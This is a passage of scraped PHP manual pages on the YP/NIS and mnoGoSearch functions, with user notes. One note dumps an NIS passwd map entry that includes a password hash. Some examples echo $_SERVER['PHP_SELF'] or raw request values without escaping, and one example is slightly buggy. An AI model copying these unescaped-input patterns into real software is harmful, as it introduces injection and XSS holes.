        else return 0;
    }
    return 0;
}
smchang at math dot inha dot ac dot kr 21-Dec-2002 06:12
result browsing code
<?php
$arraylist = yp_cat($domain,"passwd.byname");
$key = array_keys($arraylist);
$count = count($key);
for ( $i = 0; $i < $count ; $i++ ) {
        echo "COUNT $i  ->  ";
        echo $arraylist[$key[$i]];
        echo "<BR>\n";
}
?>
RESULT( Only First line )
COUNT 0 -> testuser:3jYXqr8fRm28M:500:500:PHP Test user:/home/testuser:/bin/csh

It, is in $key, is username(in example, testuser).
yp_all
yp_err_string
YP/NIS Functions


Returns the error string associated with the given error code

yp_cat
yp_errno
YP/NIS Functions
PHP Manual

yp_err_string

(PHP 4 >= 4.0.6, PHP 5 <= 5.0.5)

yp_err_string — Returns the error string associated with the given error code

Description

string yp_err_string ( int $errorcode )

Returns the error message associated with the given error code. Useful to indicate what exactly went wrong.

Parameters

errorcode

The error code.

Return Values

Returns the error message, as a string.

Examples

Example #1 Example for NIS errors

<?php
echo "Error: " . yp_err_string(yp_errno());
?>

See Also

  • yp_errno() - Returns the error code of the previous operation

User Contributed Notes

There are no user contributed notes for this page.
yp_cat
yp_errno
YP/NIS Functions


Returns the error code of the previous operation

yp_err_string
yp_first
YP/NIS Functions
PHP Manual

yp_errno

(PHP 4 >= 4.0.6, PHP 5 <= 5.0.5)

yp_errno — Returns the error code of the previous operation

Description

int yp_errno ( void )

Returns the error code of the previous operation.

Return Values

Returns one of the YPERR_XXX error constants.

See Also

  • yp_err_string() - Returns the error string associated with the given error code

User Contributed Notes

There are no user contributed notes for this page.
yp_err_string
yp_first
YP/NIS Functions


Returns the first key-value pair from the named map

yp_errno
yp_get_default_domain
YP/NIS Functions
PHP Manual

yp_first

(PHP 4, PHP 5 <= 5.0.5)

yp_first — Returns the first key-value pair from the named map

Description

array yp_first ( string $domain , string $map )

Gets the first key-value pair from the named map in the named domain.

Parameters

domain

The NIS domain name.

map

The NIS map.

Return Values

Returns the first key-value pair as an array on success, or FALSE on errors.

Examples

Example #1 Example for the NIS first

<?php
$entry = yp_first($domain, "passwd.byname");

$key = key($entry);
$value = $entry[$key];

echo "First entry in this map has key " . $key . " and value " . $value;
?>

See Also

  • yp_next() - Returns the next key-value pair in the named map
  • yp_get_default_domain() - Fetches the machine's default NIS domain

User Contributed Notes

There are no user contributed notes for this page.
yp_errno
yp_get_default_domain
YP/NIS Functions


Fetches the machine's default NIS domain

yp_first
yp_master
YP/NIS Functions
PHP Manual

yp_get_default_domain

(PHP 4, PHP 5 <= 5.0.5)

yp_get_default_domain — Fetches the machine's default NIS domain

Description

string yp_get_default_domain ( void )

Returns the default domain of the node. Can be used as the domain parameter for successive NIS calls.

A NIS domain can be described a group of NIS maps. Every host that needs to look up information binds itself to a certain domain. Refer to the documents mentioned at the beginning for more detailed information.

Return Values

Returns the default domain of the node or FALSE. Can be used as the domain parameter for successive NIS calls.

Examples

Example #1 Example for the default domain

<?php
$domain = yp_get_default_domain();
echo "Default NIS domain is: " . $domain;
?>

User Contributed Notes

There are no user contributed notes for this page.
yp_first
yp_master
YP/NIS Functions


Returns the machine name of the master NIS server for a map

yp_get_default_domain
yp_match
YP/NIS Functions
PHP Manual

yp_master

(PHP 4, PHP 5 <= 5.0.5)

yp_master — Returns the machine name of the master NIS server for a map

Description

string yp_master ( string $domain , string $map )

Returns the machine name of the master NIS server for a map.

Parameters

domain

The NIS domain name.

map

The NIS map.

Return Values

Examples

Example #1 Example for the NIS master

<?php
$number = yp_master($domain, $mapname);
echo "Master for this map is: " . $master;
?>

See Also

  • yp_get_default_domain() - Fetches the machine's default NIS domain

User Contributed Notes

There are no user contributed notes for this page.
yp_get_default_domain
yp_match
YP/NIS Functions


Returns the matched line

yp_master
yp_next
YP/NIS Functions
PHP Manual

yp_match

(PHP 4, PHP 5 <= 5.0.5)

yp_match — Returns the matched line

Description

string yp_match ( string $domain , string $map , string $key )

Returns the value associated with the passed key out of the specified map.

Parameters

domain

The NIS domain name.

map

The NIS map.

key

This key must be exact.

Return Values

Returns the value, or FALSE on errors.

Examples

Example #1 Example for NIS match

<?php
$entry = yp_match($domain, "passwd.byname", "joe");
echo "Matched entry is: " . $entry;
?>

The above example will output something similar to:

joe:##joe:11111:100:Joe User:/home/j/joe:/usr/local/bin/bash

See Also

  • yp_get_default_domain() - Fetches the machine's default NIS domain

User Contributed Notes

There are no user contributed notes for this page.
yp_master
yp_next
YP/NIS Functions


Returns the next key-value pair in the named map

yp_match
yp_order
YP/NIS Functions
PHP Manual

yp_next

(PHP 4, PHP 5 <= 5.0.5)

yp_next — Returns the next key-value pair in the named map

Description

array yp_next ( string $domain , string $map , string $key )

Returns the next key-value pair in the named map after the specified key.

Parameters

domain

map

key

Return Values

Returns the next key-value pair as an array, or FALSE on errors.

Examples

Example #1 Example for NIS next

<?php
$entry = yp_next($domain, "passwd.byname", "joe");

if (!$entry) {
    echo "No more entries found\n";
    echo "<!--" . yp_errno() . ": " . yp_err_string() . "-->";
}

$key = key($entry);

echo "The next entry after joe has key " . $key
      . " and value " . $entry[$key];
?>

See Also

  • yp_first() - Returns the first key-value pair from the named map
  • yp_get_default_domain() - Fetches the machine's default NIS domain

User Contributed Notes

russell dot brown at insignia dot nospam dot com 04-Jul-2001 08:45
If you combine yp_first and yp_next you can get the whole list:
function yp_list($domain, $map) {
   $entry = yp_first($domain, $map);
   $key = $entry ["key"];
   $yplist[$key] = $entry ["value"];

   while ($entry) {
      $entry = yp_next($domain, $map, $key);
      if ($entry) {
         $nextkey = key ($entry);
         $yplist[$nextkey] = $entry[$nextkey];
         $key = $nextkey;
      }
   }
   return $yplist;
}
yp_match
yp_order
YP/NIS Functions


Returns the order number for a map

yp_next
Search Engine Extensions
YP/NIS Functions
PHP Manual

yp_order

(PHP 4, PHP 5 <= 5.0.5)

yp_order — Returns the order number for a map

Description

int yp_order ( string $domain , string $map )

Gets the order number for a map.

Parameters

domain

map

Return Values

Returns the order number for a map or FALSE on error.

Examples

Example #1 Example for the NIS order

<?php
    $number = yp_order($domain, $mapname);
    echo "Order number for this map is: " . $number;
?>

See Also

  • yp_get_default_domain() - Fetches the machine's default NIS domain

User Contributed Notes

There are no user contributed notes for this page.
yp_next
Search Engine Extensions
YP/NIS Functions


Search Engine Extensions

  • mnoGoSearch
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • mnoGoSearch Functions
  • Solr — Apache Solr
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Solr Functions
    • Examples
    • SolrUtils — The SolrUtils class
    • SolrInputDocument — The SolrInputDocument class
    • SolrDocument — The SolrDocument class
    • SolrDocumentField — The SolrDocumentField class
    • SolrObject — The SolrObject class
    • SolrClient — The SolrClient class
    • SolrResponse — The SolrResponse class
    • SolrQueryResponse — The SolrQueryResponse class
    • SolrUpdateResponse — The SolrUpdateResponse class
    • SolrPingResponse — The SolrPingResponse class
    • SolrGenericResponse — The SolrGenericResponse class
    • SolrParams — The SolrParams class
    • SolrModifiableParams — The SolrModifiableParams class
    • SolrQuery — The SolrQuery class
    • SolrException — The SolrException class
    • SolrClientException — The SolrClientException class
    • SolrIllegalArgumentException — The SolrIllegalArgumentException class
    • SolrIllegalOperationException — The SolrIllegalOperationException class
  • Sphinx — Sphinx Client
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • SphinxClient — The SphinxClient class
  • Swish — Swish Indexing
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Swish Functions

User Contributed Notes

There are no user contributed notes for this page.
yp_order
mnoGoSearch
Function Reference


mnoGoSearch

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • mnoGoSearch Functions
    • udm_add_search_limit — Add various search limits
    • udm_alloc_agent_array — Allocate mnoGoSearch session
    • udm_alloc_agent — Allocate mnoGoSearch session
    • udm_api_version — Get mnoGoSearch API version
    • udm_cat_list — Get all the categories on the same level with the current one
    • udm_cat_path — Get the path to the current category
    • udm_check_charset — Check if the given charset is known to mnogosearch
    • udm_check_stored — Check connection to stored
    • udm_clear_search_limits — Clear all mnoGoSearch search restrictions
    • udm_close_stored — Close connection to stored
    • udm_crc32 — Return CRC32 checksum of given string
    • udm_errno — Get mnoGoSearch error number
    • udm_error — Get mnoGoSearch error message
    • udm_find — Perform search
    • udm_free_agent — Free mnoGoSearch session
    • udm_free_ispell_data — Free memory allocated for ispell data
    • udm_free_res — Free mnoGoSearch result
    • udm_get_doc_count — Get total number of documents in database
    • udm_get_res_field — Fetch a result field
    • udm_get_res_param — Get mnoGoSearch result parameters
    • udm_hash32 — Return Hash32 checksum of gived string
    • udm_load_ispell_data — Load ispell data
    • udm_open_stored — Open connection to stored
    • udm_set_agent_param — Set mnoGoSearch agent session parameters

User Contributed Notes

There are no user contributed notes for this page.
Search Engine Extensions
Introduction
Search Engine Extensions


Introduction

These functions allow you to access the mnoGoSearch (former UdmSearch) free search engine. mnoGoSearch is a full-featured search engine software for intranet and internet servers, distributed under the GNU license. mnoGoSearch has a number of unique features, which makes it appropriate for a wide range of applications from search within your site to a specialized search system such as cooking recipes or newspaper search, FTP archive search, news articles search, etc. It offers full-text indexing and searching for HTML, PDF, and text documents. mnoGoSearch consists of two parts. The first is an indexing mechanism (indexer). The purpose of the indexer is to walk through HTTP, FTP, NEWS servers or local files, recursively grabbing all the documents and storing meta-data about that documents in an SQL database in a smart and effective manner. After every document is referenced by its corresponding URL, meta-data is collected by the indexer for later use in a search process. The search is performed via Web interface. C, CGI, PHP and Perl search front ends are included.

More information about mnoGoSearch can be found at » http://www.mnogosearch.org/.

Note:

This extension has been moved to the » PECL repository and is no longer bundled with PHP as of PHP 5.1.0.

Note: This extension is not available on Windows platforms.

User Contributed Notes

There are no user contributed notes for this page.
mnoGoSearch
Installing/Configuring
mnoGoSearch


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
mnoGoSearch


Requirements

Download mnoGosearch from » http://www.mnogosearch.org/ and install it on your system. You need at least version 3.1.10 of mnoGoSearch installed to use these functions.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/mnogosearch.

This extension has been moved to the » PECL repository and is no longer bundled with PHP as of PHP 5.1.0

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

Note:

PHP contains built-in MySQL access library, which can be used to access MySQL. It is known that mnoGoSearch is not compatible with this built-in library and can work only with generic MySQL libraries. Thus, if you use mnoGoSearch with MySQL, during PHP configuration you have to indicate the directory of your MySQL installation, that was used during mnoGoSearch configuration, i.e. for example: --with-mnogosearch --with-mysql=/usr .

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

UDM_FIELD_URLID (integer)
UDM_FIELD_URL (integer)
UDM_FIELD_CONTENT (integer)
UDM_FIELD_TITLE (integer)
UDM_FIELD_KEYWORDS (integer)
UDM_FIELD_DESC (integer)
UDM_FIELD_DESCRIPTION (integer)
UDM_FIELD_TEXT (integer)
UDM_FIELD_SIZE (integer)
UDM_FIELD_RATING (integer)
UDM_FIELD_SCORE (integer)
UDM_FIELD_MODIFIED (integer)
UDM_FIELD_ORDER (integer)
UDM_FIELD_CRC (integer)
UDM_FIELD_CATEGORY (integer)
UDM_FIELD_LANG (integer)
UDM_FIELD_CHARSET (integer)
UDM_PARAM_PAGE_SIZE (integer)
UDM_PARAM_PAGE_NUM (integer)
UDM_PARAM_SEARCH_MODE (integer)
UDM_PARAM_CACHE_MODE (integer)
UDM_PARAM_TRACK_MODE (integer)
UDM_PARAM_PHRASE_MODE (integer)
UDM_PARAM_CHARSET (integer)
UDM_PARAM_LOCAL_CHARSET (integer)
UDM_PARAM_BROWSER_CHARSET (integer)
UDM_PARAM_STOPTABLE (integer)
UDM_PARAM_STOP_TABLE (integer)
UDM_PARAM_STOPFILE (integer)
UDM_PARAM_STOP_FILE (integer)
UDM_PARAM_WEIGHT_FACTOR (integer)
UDM_PARAM_WORD_MATCH (integer)
UDM_PARAM_MAX_WORD_LEN (integer)
UDM_PARAM_MAX_WORDLEN (integer)
UDM_PARAM_MIN_WORD_LEN (integer)
UDM_PARAM_MIN_WORDLEN (integer)
UDM_PARAM_ISPELL_PREFIXES (integer)
UDM_PARAM_ISPELL_PREFIX (integer)
UDM_PARAM_PREFIXES (integer)
UDM_PARAM_PREFIX (integer)
UDM_PARAM_CROSS_WORDS (integer)
UDM_PARAM_CROSSWORDS (integer)
UDM_PARAM_VARDIR (integer)
UDM_PARAM_DATADIR (integer)
UDM_PARAM_HLBEG (integer)
UDM_PARAM_HLEND (integer)
UDM_PARAM_SYNONYM (integer)
UDM_PARAM_SEARCHD (integer)
UDM_PARAM_QSTRING (integer)
UDM_PARAM_REMOTE_ADDR (integer)
UDM_LIMIT_CAT (integer)
UDM_LIMIT_URL (integer)
UDM_LIMIT_TAG (integer)
UDM_LIMIT_LANG (integer)
UDM_LIMIT_DATE (integer)
UDM_PARAM_FOUND (integer)
UDM_PARAM_NUM_ROWS (integer)
UDM_PARAM_WORDINFO (integer)
UDM_PARAM_WORD_INFO (integer)
UDM_PARAM_SEARCHTIME (integer)
UDM_PARAM_SEARCH_TIME (integer)
UDM_PARAM_FIRST_DOC (integer)
UDM_PARAM_LAST_DOC (integer)
UDM_MODE_ALL (integer)
UDM_MODE_ANY (integer)
UDM_MODE_BOOL (integer)
UDM_MODE_PHRASE (integer)
UDM_CACHE_ENABLED (integer)
UDM_CACHE_DISABLED (integer)
UDM_TRACK_ENABLED (integer)
UDM_TRACK_DISABLED (integer)
UDM_PHRASE_ENABLED (integer)
UDM_PHRASE_DISABLED (integer)
UDM_CROSS_WORDS_ENABLED (integer)
UDM_CROSSWORDS_ENABLED (integer)
UDM_CROSS_WORDS_DISABLED (integer)
UDM_CROSSWORDS_DISABLED (integer)
UDM_PREFIXES_ENABLED (integer)
UDM_PREFIX_ENABLED (integer)
UDM_ISPELL_PREFIXES_ENABLED (integer)
UDM_ISPELL_PREFIX_ENABLED (integer)
UDM_PREFIXES_DISABLED (integer)
UDM_PREFIX_DISABLED (integer)
UDM_ISPELL_PREFIXES_DISABLED (integer)
UDM_ISPELL_PREFIX_DISABLED (integer)
UDM_ISPELL_TYPE_AFFIX (integer)
UDM_ISPELL_TYPE_SPELL (integer)
UDM_ISPELL_TYPE_DB (integer)
UDM_ISPELL_TYPE_SERVER (integer)
UDM_MATCH_WORD (integer)
UDM_MATCH_BEGIN (integer)
UDM_MATCH_SUBSTR (integer)
UDM_MATCH_END (integer)

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
mnoGoSearch Functions
mnoGoSearch


mnoGoSearch Functions

Table of Contents

  • udm_add_search_limit — Add various search limits
  • udm_alloc_agent_array — Allocate mnoGoSearch session
  • udm_alloc_agent — Allocate mnoGoSearch session
  • udm_api_version — Get mnoGoSearch API version
  • udm_cat_list — Get all the categories on the same level with the current one
  • udm_cat_path — Get the path to the current category
  • udm_check_charset — Check if the given charset is known to mnogosearch
  • udm_check_stored — Check connection to stored
  • udm_clear_search_limits — Clear all mnoGoSearch search restrictions
  • udm_close_stored — Close connection to stored
  • udm_crc32 — Return CRC32 checksum of given string
  • udm_errno — Get mnoGoSearch error number
  • udm_error — Get mnoGoSearch error message
  • udm_find — Perform search
  • udm_free_agent — Free mnoGoSearch session
  • udm_free_ispell_data — Free memory allocated for ispell data
  • udm_free_res — Free mnoGoSearch result
  • udm_get_doc_count — Get total number of documents in database
  • udm_get_res_field — Fetch a result field
  • udm_get_res_param — Get mnoGoSearch result parameters
  • udm_hash32 — Return Hash32 checksum of gived string
  • udm_load_ispell_data — Load ispell data
  • udm_open_stored — Open connection to stored
  • udm_set_agent_param — Set mnoGoSearch agent session parameters

User Contributed Notes

mikko at sorl dot net 15-Oct-2006 04:46
Well since the function udm_get_res_param used with UDM_PARAM_NUM_ROWS does infact not get the number of rows on the current page, it can actualy find more rows than specified by UDM_PARAM_PAGE_SIZE, ??? well i had to rewrite the some stuff I also added highlightning since the parameter  UDM_PARAM_HLBEG nor UDM_PARAM_HLEND doesnt seem to work, alot of things here are fairly undocumented, I also found out after reading the Search_Mnogosearch pear class that replacing "\2" and "\3" in the text with HLBEG and HLEND works. well here is the class rewritten (without fetch, just find):

<?php

class MnogoSearch
{
    public    $matches = NULL;
    public    $total   = NULL;
    public    $hilites = array('title', 'text');
    public    $hlbeg   = '<span class="hilite">';
    public    $hlend   = '</span>';

    protected $agent   = NULL;
    protected $res     = NULL;

    public function __construct() {

        $this->agent = udm_alloc_agent('mysql://user:pass@localhost/mnogosearch/');

        $this->set(UDM_PARAM_SEARCH_MODE, UDM_MODE_ALL);
        $this->set(UDM_PARAM_CHARSET, 'iso-8859-1');
        $this->set(UDM_PARAM_BROWSER_CHARSET, 'iso-8859-1');
        $this->set(UDM_PARAM_WORD_MATCH, UDM_MATCH_SUBSTR);

    }

    private function hiLite($t) {
        if ($t == '')
            return '';
        $t = str_replace("\2", $this->hlbeg, $t);
        $t = str_replace("\3", $this->hlend, $t);
        return $t;
    }

    public function set($k, $v) {
        udm_set_agent_param($this->agent, $k, $v);
    }

    public function find($q, $page=0, $rows=10) {

        if ($page < 0 || $rows <= 0) {
            $page = 0;
            $rows = 10;
        }

        $this->set(UDM_PARAM_PAGE_SIZE, $rows);
        $this->set(UDM_PARAM_PAGE_NUM, $page);

        $this->res = udm_find($this->agent, $q);
        $this->total = udm_get_res_param($this->res, UDM_PARAM_FOUND);

        $found = udm_get_res_param($this->res, UDM_PARAM_NUM_ROWS);

        if($found) {
            $b = udm_get_res_param($this->res, UDM_PARAM_FIRST_DOC);
            $e = udm_get_res_param($this->res, UDM_PARAM_LAST_DOC);
            $rows = $e - $b + 1;

            $fields = array('urlid', 'url', 'content', 'title', 'keywords', 'desc',
                            'text', 'size', 'rating', 'modified', 'order', 'crc', 'category',
                            'lang', 'charset', 'siteid', 'pop_rank', 'originid');

            for($i=0; $i<$rows; $i++){
                for($j=0; $j<count($fields); $j++) {
                    $this->matches[$i][$fields[$j]] = udm_get_res_field($this->res, $i, $j+1);
                }
                foreach($this->hilites as $hilite) {
                    $this->matches[$i][$hilite] = $this->hiLite($this->matches[$i][$hilite]);
                }

            }
            return $rows;

        } else {
            return FALSE;
        }
    }

    public function __destruct() {
        udm_free_agent($this->agent);
        if (isset($this->res)) {
            udm_free_res($this->res);
        }
    }
}

?>

Im thinking, maybe swish-e is better ? :)
bloodjazman at gmail dot com 22-Jun-2005 05:22
for win32 users, mnogosearch since version 3.2.x
support COM interface

for Reflection API of COM use Visual Studio .NET
-> Tools ..
-> OLE/COM object viewer
- > C:\Program Files\mnoGoSearch\searchcom.dll

simple code

<pre>
<?
define('MNOGOSEARCH_WIN32',
    (strtoupper(substr(PHP_OS,0,3))=='WIN') && extension_loaded('COM'));

if (!MNOGOSEARCH_WIN32)
 die('MnoGoSearch COM not loaded');

/** Create COM object */
$agent = new COM('MnoGoSearch.GoSearch')
                    or die('Can\'t create COM object MnoGoSearch.GoSearch');
com_load_typelib('MnoGoSearch.GoSearch');
//mysql://user:passwd@host:port/database/?mode=multi
$agent->DBAddr = $params['DBAddr'];
//buggy, not work
//$agent->DBMode = $params['DBMode'];
$agent->SetCharset($params['Charset']);
$agent->SetCacheMode(true);

$q = 'q='. $query .'&np='. $_REQUEST['page'] .'&ps='. $_REQUEST['pg_size'] .'&m='. $_REQUEST['match'];
$q .= '&wm='. $_REQUEST['word_match'] .'&ul='. $_REQUEST['url_match']. '&wf='. $_REQUEST['where_find'];
$q .= '&typ='. $_REQUEST['content_type'] .'&s='. $_REQUEST['sortby'].'';

//!!! EXECUTE SEARCH QUERY
$result = $agent->Find($q);

if ($agent->ErrorCode>0 || !$result->Valid)
   die('MnogoSearch win32 COM Error #'.$agent->ErrorCode.' - '.$agent->ErrorDescription);

$last=$result->LastDoc;
$first=$result->FirstDoc;
$hl_begin = '<span class="mnogosearch_hilight">';
$hl_end= '</span>';

$fetched_result=array();
$i=0;

for($row=$first;$row<=$last;$row++) {
    $i=$row-$first;
    $line = $result->Line($row);
    $fetched_result[$i] = array(
        'order'=>$line->Section('Order', $hl_begin, $hl_end),
        'url'=> $line->Section('URL', $hl_begin, $hl_end),
        'relevance'=>$line->Section('Score', $hl_begin, $hl_end),
        'pagerank'=> $line->Section('Pop_Rank', $hl_begin, $hl_end),
        'content_type'=> $line->Section('Content-Type', $hl_begin, $hl_end),
        'content_length'=> $line->Section('Content-Length', $hl_begin, $hl_end),
        'last_time'=> $line->Section('Last-Modified', $hl_begin, $hl_end),
        'title'=> $line->Section('title', $hl_begin, $hl_end),
        'body'=> $line->Section('body', $hl_begin, $hl_end),
        'metadesc'=> $line->Section('meta.description', $hl_begin, $hl_end),
        'metakeywords'=> $line->Section('meta.keywords', $hl_begin, $hl_end)
    );
}

var_dump($fetched_result);

echo '<br/>search time : '.$result->SearchSeconds;
echo '<br/>words stats :'.$result->WordInfo;

echo '<br/>pg_count: '.$result->NPages;
echo '<br/>total_rows: '. $result->Count;
echo '<br/>first_doc: '.$result->FirstDoc;
echo '<br/>last_doc: '.$result->LastDoc;
echo '<br/>rows_in_page: '.$result->RowsOnPage;

?>
</pre>
m at manyone dot net 10-Jul-2002 09:23
I finally got PHP 4.2.1 to compile with mnoGoSearch 3.2.2 ; trick is to build the shared mnoGoSearch and not the static version (opposite from mnoGoSearch defaults), and not to use --disable-rpath in PHP.
brasnah-dev at brasnah dot com 27-Feb-2002 09:32
There is always a collisions for FTP name between PHP releease 4.2.0-dev and mnogosearch 3.2.3. So, first compile mnogosearch with --disable-ftp.
marten dot gustafsson at i_wont_tell_you dot com 12-Jun-2001 12:50
The name collision between php's builtin FTP functions and mnoGo's have been fixed since version 3.1.14 of mnoGoSearch according to;  http://www.mnogosearch.ru/history.html
php-install at lists dot php dot net 25-Apr-2001 03:53
I have found that if you compile php with "--with-ftp and --with-mnogosearch=/dir" you must compile and build mnogosearch with "--disable-ftp" first. There are some naming conflicts between php's ftp libs and mno's ftp libs.

Hope this helps
Predefined Constants
udm_add_search_limit
mnoGoSearch


Add various search limits

mnoGoSearch Functions
udm_alloc_agent_array
mnoGoSearch Functions
PHP Manual

udm_add_search_limit

(PHP 4 >= 4.0.5, PHP 5 <= 5.0.5, PECL mnogosearch >= 1.0.0)

udm_add_search_limit — Add various search limits

Description

bool udm_add_search_limit ( resource $agent , int $var , string $val )

udm_add_search_limit() adds search restrictions.

Parameters

agent

A link to Agent, received after call to udm_alloc_agent().

var

Defines the parameter, indicating limits. Possible var values:

  • UDM_LIMIT_URL - defines document URL limitations to limit the search through subsection of the database. It supports SQL % and _ LIKE wildcards, where % matches any number of characters, even zero characters, and _ matches exactly one character. E.g. http://www.example.___/catalog may stand for http://www.example.com/catalog and http://www.example.net/catalog.
  • UDM_LIMIT_TAG - defines site TAG limitations. In indexer-conf you can assign specific TAGs to various sites and parts of a site. Tags in mnoGoSearch 3.1.x are lines, that may contain metasymbols % and _. Metasymbols allow searching among groups of tags. E.g. there are links with tags ABCD and ABCE, and search restriction is by ABC_ - the search will be made among both of the tags.
  • UDM_LIMIT_LANG - defines document language limitations.
  • UDM_LIMIT_CAT - defines document category limitations. Categories are similar to tag feature, but nested. So you can have one category inside another and so on. You have to use two characters for each level. Use a hex number going from 0-F or a 36 base number going from 0-Z. Therefore a top-level category like 'Auto' would be 01. If it has a subcategory like 'Ford', then it would be 01 (the parent category) and then 'Ford' which we will give 01. Put those together and you get 0101. If 'Auto' had another subcategory named 'VW', then it's id would be 01 because it belongs to the 'Ford' category and then 02 because it's the next category. So it's id would be 0102. If VW had a sub category called 'Engine' then it's id would start at 01 again and it would get the 'VW' id 02 and 'Auto' id of 01, making it 010201. If you want to search for sites under that category then you pass it cat=010201 in the URL.

  • UDM_LIMIT_DATE - defines limitation by date the document was modified.

    Format of parameter value: a string with first character < or >, then with no space - date in unixtime format, for example:

    <?php
    udm_add_search_limit    ($udm, UDM_LIMIT_DATE, "&lt;908012006");
    ?>

    If > character is used, then the search will be restricted to those documents having a modification date greater than entered, if <, then smaller.

val

Defines the value of the current parameter.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
mnoGoSearch Functions
udm_alloc_agent_array
mnoGoSearch Functions


Allocate mnoGoSearch session

udm_add_search_limit
udm_alloc_agent
mnoGoSearch Functions
PHP Manual

udm_alloc_agent_array

(PHP 4 >= 4.3.3, PHP 5 <= 5.0.5, PECL mnogosearch >= 1.0.0)

udm_alloc_agent_array — Allocate mnoGoSearch session

Description

resource udm_alloc_agent_array ( array $databases )

udm_alloc_agent_array() will create an agent with multiple database connections.

Parameters

databases

The array databases must contain one database URL per element, analog to the first parameter of udm_alloc_agent().

Return Values

Returns a resource link identifier on success or FALSE on failure.

See Also

  • udm_alloc_agent() - Allocate mnoGoSearch session

User Contributed Notes

There are no user contributed notes for this page.
udm_add_search_limit
udm_alloc_agent
mnoGoSearch Functions


Allocate mnoGoSearch session

udm_alloc_agent_array
udm_api_version
mnoGoSearch Functions
PHP Manual

udm_alloc_agent

(PHP 4 >= 4.0.5, PHP 5 <= 5.0.5, PECL mnogosearch >= 1.0.0)

udm_alloc_agent — Allocate mnoGoSearch session

Description

resource udm_alloc_agent ( string $dbaddr [, string $dbmode ] )

Allocate a mnoGoSearch session.

Parameters

dbaddr

dbaddr - URL-style database description, with options (type, host, database name, port, user and password) to connect to SQL database. Do not matter for built-in text files support. Format for dbaddr: DBType:[//[DBUser[:DBPass]@]DBHost[:DBPort]]/DBName/. Currently supported DBType values are: mysql, pgsql, msql, solid, mssql, oracle, and ibase. Actually, it does not matter for native libraries support, but ODBC users should specify one of the supported values. If your database type is not supported, you may use unknown instead.

dbmode

dbmode - You may select the SQL database mode of words storage. Possible values of dbmode are: single, multi, crc, or crc-multi. When single is specified, all words are stored in the same table. If multi is selected, words will be located in different tables depending of their lengths. "multi" mode is usually faster, but requires more tables in the database. If "crc" mode is selected, mnoGoSearch will store 32 bit integer word IDs calculated by CRC32 algorithm instead of words. This mode requires less disk space and it is faster comparing with "single" and "multi" modes. crc-multi uses the same storage structure with the "crc" mode, but also stores words in different tables depending on words lengths like in "multi" mode.

Note:

dbaddr and dbmode must match those used during indexing.

Return Values

Returns a mnogosearch agent identifier on success, FALSE on failure. This function creates a session with database parameters.

Notes

Note:

In fact this function does not open a connection to the database and thus does not check the entered login and password. Establishing a connection to the database and login/password verification is done by udm_find().

User Contributed Notes

stuart at horuskol dot co dot uk 28-Feb-2008 08:28
The function appears to ignore the second parameter completely -
and the default mode is "blob", which is not even mentioned in this page.

In order to be able to select the right mode, do the following:

<?php

  $this->agent =
udm_alloc_agent("mysql://host/database/?DBMode=multi");

?>
cmv at php dot net 23-Sep-2001 11:56
For what it's worth, the following PHP code won't work:

<?  $U = udm_alloc_agent('mysql://localhost/example'); ?>

But this will:

<?  $U = udm_alloc_agent('mysql://localhost/example/'); ?>

That trailing slash is all-important.
udm_alloc_agent_array
udm_api_version
mnoGoSearch Functions


Get mnoGoSearch API version

udm_alloc_agent
udm_cat_list
mnoGoSearch Functions
PHP Manual

udm_api_version

(PHP 4 >= 4.0.5, PHP 5 <= 5.0.5, PECL mnogosearch >= 1.0.0)

udm_api_version — Get mnoGoSearch API version

Description

int udm_api_version ( void )

Gets the mnoGoSearch API version.

This function allows the user to identify which API functions are available, e.g. udm_get_doc_count() function is only available in mnoGoSearch 3.1.11 or later.

Return Values

udm_api_version() returns the mnoGoSearch API version number. E.g. if mnoGoSearch 3.1.10 API is used, this function will return 30110.

Examples

Example #1 udm_api_version() example

<?php
if (udm_api_version() >= 30111) {
    echo  "Total number of URLs in database: " . udm_get_doc_count($udm) . "<br />\n";
}
?>

User Contributed Notes

There are no user contributed notes for this page.
udm_alloc_agent
udm_cat_list
mnoGoSearch Functions


Get all the categories on the same level with the current one

udm_api_version
udm_cat_path
mnoGoSearch Functions
PHP Manual

udm_cat_list

(PHP 4 >= 4.0.6, PHP 5 <= 5.0.5, PECL mnogosearch >= 1.0.0)

udm_cat_list — Get all the categories on the same level with the current one

Description

array udm_cat_list ( resource $agent , string $category )

Gets all the categories on the same level with the current one.

The function can be useful for developing categories tree browser.

Parameters

agent

A link to Agent, received after call to udm_alloc_agent().

category

Return Values

Returns an array listing all categories of the same level as the current category in the categories tree.

The returned array consists of pairs. Elements with even index numbers contain the category paths, odd elements contain the corresponding category names.

$array[0] will contain '020300'
  $array[1] will contain 'Audi'
  $array[2] will contain '020301'
  $array[3] will contain 'BMW'
  $array[4] will contain '020302'
  $array[5] will contain 'Opel'
  ...
 etc.

Examples

Following is an example of displaying links of the current level in format:

Audi
  BMW
  Opel
  ...

Example #1 udm_cat_list()example

<?php
 $cat_list_arr = udm_cat_list($udm_agent, $cat);
 $cat_list = '';
 for ($i=0; $i<count($cat_list_arr); $i+=2) {
    $path = $cat_list_arr[$i];
    $name = $cat_list_arr[$i+1];
    $cat_list .= "<a href=\"$_SERVER[PHP_SELF]?cat=$path\">$name</a><br />";
 }
?>

See Also

  • udm_cat_path() - Get the path to the current category

User Contributed Notes

There are no user contributed notes for this page.
udm_api_version
udm_cat_path
mnoGoSearch Functions


Get the path to the current category

udm_cat_list
udm_check_charset
mnoGoSearch Functions
PHP Manual

udm_cat_path

